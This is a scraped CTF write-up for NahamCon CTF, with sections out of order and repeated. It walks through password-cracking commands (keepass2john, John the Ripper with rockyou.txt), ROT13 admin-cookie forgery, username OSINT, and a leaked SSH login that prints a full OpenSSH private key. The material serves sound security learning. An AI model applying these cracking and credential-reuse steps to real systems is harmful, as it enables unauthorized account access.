correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands: ```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag: ![](assets//images//easy_keesy_1.png) **Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function ## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away! Download the file below.\[peter.png](assets//images//peter.png) **Post CTF Writeup** **flag{ohhhpietwastherabbit}** **Solution:** With the challenge we are given the following PNG image: ![](assets//images//peter.png) this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag: ![](assets//images//peter_2.png) **Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php ## PangThis file does not open! Download the file below. [pang](assets//files//pang) **flag{wham_bam_thank_you_for_the_flag_maam}** **Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck: ![](assets//images//pang_1.png) The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red: ![](assets//images//pang_2.png)![](assets//images//pang_3.png) and by saving the modified file and viewing it again we get the flag: ![](assets//images//pang.png) **Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/ ***# OSINT ## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was... Connect here:\https://apporima.com/ **JCTF{the_wayback_machine}** **Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is: ![](assets//images//time_keeper.png) we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page: ![](assets//images//time_keeper_2.png) link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/` You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag: ![](assets//images//time_keeper_3.png) **Resources:*** Wayback Machine: https://archive.org/web/ ## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies! Connect here: jh2i.com **flag{next_year_i_wont_use_spf}** **Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is: `dig jh2i.com ANY` and we have our flag in the output of the command: ![](assets//images//new_year_resolution.png) **Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig ## Finsta This time we have a username. Can you track down `NahamConTron`? **flag{i_feel_like_that_was_too_easy}** **Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command: `python3 sherlock NahamConTron` and the commands returns the following list of accounts: ```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6``` by looking at the instegram account we can find our flag at the accout description: ![](assets//images//finsta.png) **Resources:*** Sherlock: https://github.com/sherlock-project/sherlock ## Tron NahamConTron is up to more shenanigans. Find his server. **flag{nahamcontron_is_on_the_grid}** **Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it: ![](assets//images//tron_1.png) there are 2 repositories for the user: ![](assets//images//tron_2.png) the second one is not very helpful: ![](assets//images//tron_3.png) but the first one has some interesting files: ![](assets//images//tron_4.png) the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo? ![](assets//images//tron_5.png) yeah it is!, the private key is: ```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----``` and we can connect to the server, using the same command, and in the server we find our flag: ![](assets//images//tron_6.png) ***# Steganography ## KstegThis must be a typo.... it was kust one letter away! Download the file below. [luke.jpg](assets//images//luke.jpg) **flag{yeast_bit_steganography_oops_another_typo}** **Solution:** With the challenge we get the following JPEG image: This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents * [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup ## Read The RulesPlease follow the rules for this CTF! Connect here:https://ctf.nahamcon.com/rules **flag{we_hope_you_enjoy_the_game}** **Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes: ![](assets//images//read_the_rules.png) ## CLIsaycowsay is hiding something from us! Download the file below. [clisay](assets//files/clisay) **flag{Y0u_c4n_r3Ad_M1nd5}** **Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get: ![](assets//images//clisay_1.png) well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag: ![](assets//images//clisay_2.png) notice that you need to append the two parts of the flag together (the strings after and before the ascii art). **Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format ## MetamemeHacker memes. So meta. Download the file below. [hackermeme.jpg](assets//images//hackermeme.jpg) **flag{N0t_7h3_4cTuaL_Cr3At0r}** **Solution:** With the challenge we get this image: ![hackermeme.jpg](assets//images//hackermeme.jpg) We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag: ![](assets//images//metameme.png) **Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool ## Mr. RobotElliot needs your help. You know what to do. Connect here:\http://jh2i.com:50032 **flag{welcome_to_robots.txt}** **Solution:** With the challenge we get a url to a website: ![](assets//images//mr_robot.png) There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag: ![](assets//images//mr_robot_2.png) **Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en ## UGGCBecome the admin! Connect here:\http://jh2i.com:50018 **flag{H4cK_aLL_7H3_C0okI3s}** **Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page: ![](assets//images//uggc.png) By the description we know that we need to login as admin, but if we try using admin as our username we get the following: ![](assets//images//uggc_2.png) But we can login with any other username: ![](assets//images//uggc_3.png) If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser: ![](assets//images//uggc_4.png) we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that: ![](assets//images//uggc_5.png) now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag: ![](assets//images//uggc_6.png) **Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/ ## Easy KeesyDang it, not again... Download the file below. [easy_keesy](assets//files//easy_keesy) **flag{jtr_found_the_keys_to_kingdom}** **Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database: ![](assets//images//easy_keesy.png) This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands: ```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag: ![](assets//images//easy_keesy_1.png) **Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function ## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away! Download the file below.\[peter.png](assets//images//peter.png) **Post CTF Writeup** **flag{ohhhpietwastherabbit}** **Solution:** With the challenge we are given the following PNG image: ![](assets//images//peter.png) this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag: ![](assets//images//peter_2.png) **Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php ## PangThis file does not open! Download the file below. [pang](assets//files//pang) **flag{wham_bam_thank_you_for_the_flag_maam}** **Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck: ![](assets//images//pang_1.png) The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red: ![](assets//images//pang_2.png)![](assets//images//pang_3.png) and by saving the modified file and viewing it again we get the flag: ![](assets//images//pang.png) **Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/ ***# OSINT ## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was... Connect here:\https://apporima.com/ **JCTF{the_wayback_machine}** **Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is: ![](assets//images//time_keeper.png) we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page: ![](assets//images//time_keeper_2.png) link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/` You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag: ![](assets//images//time_keeper_3.png) **Resources:*** Wayback Machine: https://archive.org/web/ ## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies! Connect here: jh2i.com **flag{next_year_i_wont_use_spf}** **Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is: `dig jh2i.com ANY` and we have our flag in the output of the command: ![](assets//images//new_year_resolution.png) **Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig ## Finsta This time we have a username. Can you track down `NahamConTron`? **flag{i_feel_like_that_was_too_easy}** **Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command: `python3 sherlock NahamConTron` and the commands returns the following list of accounts: ```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6``` by looking at the instegram account we can find our flag at the accout description: ![](assets//images//finsta.png) **Resources:*** Sherlock: https://github.com/sherlock-project/sherlock ## Tron NahamConTron is up to more shenanigans. Find his server. **flag{nahamcontron_is_on_the_grid}** **Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it: ![](assets//images//tron_1.png) there are 2 repositories for the user: ![](assets//images//tron_2.png) the second one is not very helpful: ![](assets//images//tron_3.png) but the first one has some interesting files: ![](assets//images//tron_4.png) the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo? ![](assets//images//tron_5.png) yeah it is!, the private key is: ```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----``` and we can connect to the server, using the same command, and in the server we find our flag: ![](assets//images//tron_6.png) ***# Steganography ## KstegThis must be a typo.... it was kust one letter away! Download the file below. [luke.jpg](assets//images//luke.jpg) **flag{yeast_bit_steganography_oops_another_typo}** **Solution:** With the challenge we get the following JPEG image: We can infer by the challenge name and the challenge description that we need to use Jsteg (link in the resources), this is a type of tool for hiding data in the least significant bit (LSB) of the bytes in the image, this image is actually an image of the creator of the tool (whose name is luke), I only succeeded in using the tool by running the main.go script that's in jsteg/cmd/jsteg using the following command: ![](assets//images//luke_1.png) **Resources:*** Jsteg: https://github.com/lukechampine/jsteg ## DohDoh! Stupid steganography... **Note, this flag is not in the usual format.** Download the file below. [doh.jpg](assets//images//doh.jpg) **JCTF{an_annoyed_grunt}** **Solution:** With the challenge we get the following JPEG image: because this is a stego challenge one of the first thing I do is to check if there are files embedded in the image using binwalk and steghide, luckily steghide comes to use and finds a text file in the image which actually contains the flag: ![](assets//images//doh_1.png) **Resources:*** Steghide: http://steghide.sourceforge.net/* binwalk man page: https://manpages.debian.org/stretch/binwalk/binwalk.1.en.html ## Beep BoopThat must be a really long phone number... right? Download the file below. [flag.wav](assets//files//flag.wav) **flag{do_you_speak_the_beep_boop}** **Solution:** Now we are given for a change a WAV file (Wave audio file), in it we can hear key presses of a phone, this is actually DTMF (dual tone multi frequency) which were used to signal to the phone company that a specific key was pressed and they have quite a lot of history with respect to hacking, we can actually decipher this tones using a tool called multimon-ng or using the web tool listed below, this will give us the following code: ```46327402297754110981468069185383422945309689772058551073955248013949155635325 ```we can execute the following command to extract the number: `multimon-ng -t wav -a DTMF flag.wav | grep -o "[0-9]+" | tr -d "\n"` I tried a lot of ways to get the flag from this number and eventually figured out that you need to convert the numbers from decimal format to hex and then from hex to ascii, or alternatively use long_to_bytes from the pycryptodome module, by doing so we get the flag: ![](assets//images//beep_boop.png) **Resources:*** DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling* multimon-ng: https://tools.kali.org/wireless-attacks/multimon-ng* Web DTMF decoder: http://dialabc.com/sound/detect/index.html* long_to_bytes: https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#Crypto.Util.number.long_to_bytes ## SnowflakeFrosty the Snowman is just made up of a lot of snowflakes. Which is the right one? Note, this flag is not in the usual format. Download the file below.\[frostythesnowman.txt](assets//files//frostythesnowman.txt) **JCTF{gemmy_spinning_snowflake}** **Solution:** We are given a text file with the challenge, if we look at the file we can't see anything weird:```Frosty the snowman was a jolly happy soulWith a corncob pipe and a button noseAnd two eyes made out of coalFrosty the snowman is a fairy tale, they sayHe was made of snow but the children knowHow he came to life one dayThere must have been some magic inThat old silk hat they foundFor when they placed it on his headHe began to dance aroundOh, Frosty the snowman ``` but if we open the file in Notepad++ and turn on the option the show special symbols we can now see that something is off with the file: ![](assets//images//snowman_1.png) these are tabs and spaces, and this type of steganography is actually SNOW (Steganographic Nature Of Whitespace), it is a type of whitespace steganography which uses Huffman encoding to compress a message and hide it in the whitespaces, we can use stegsnow tools to reveal the message but it seems that it doesn't work: ![](assets//images//snowman_2.png) After a bit of trial and error I discovered that it is password protected, so I wrote a simple bash script which reads the passwords from rockyou.txt line by line and try to decrypt the data, this is a dictionary 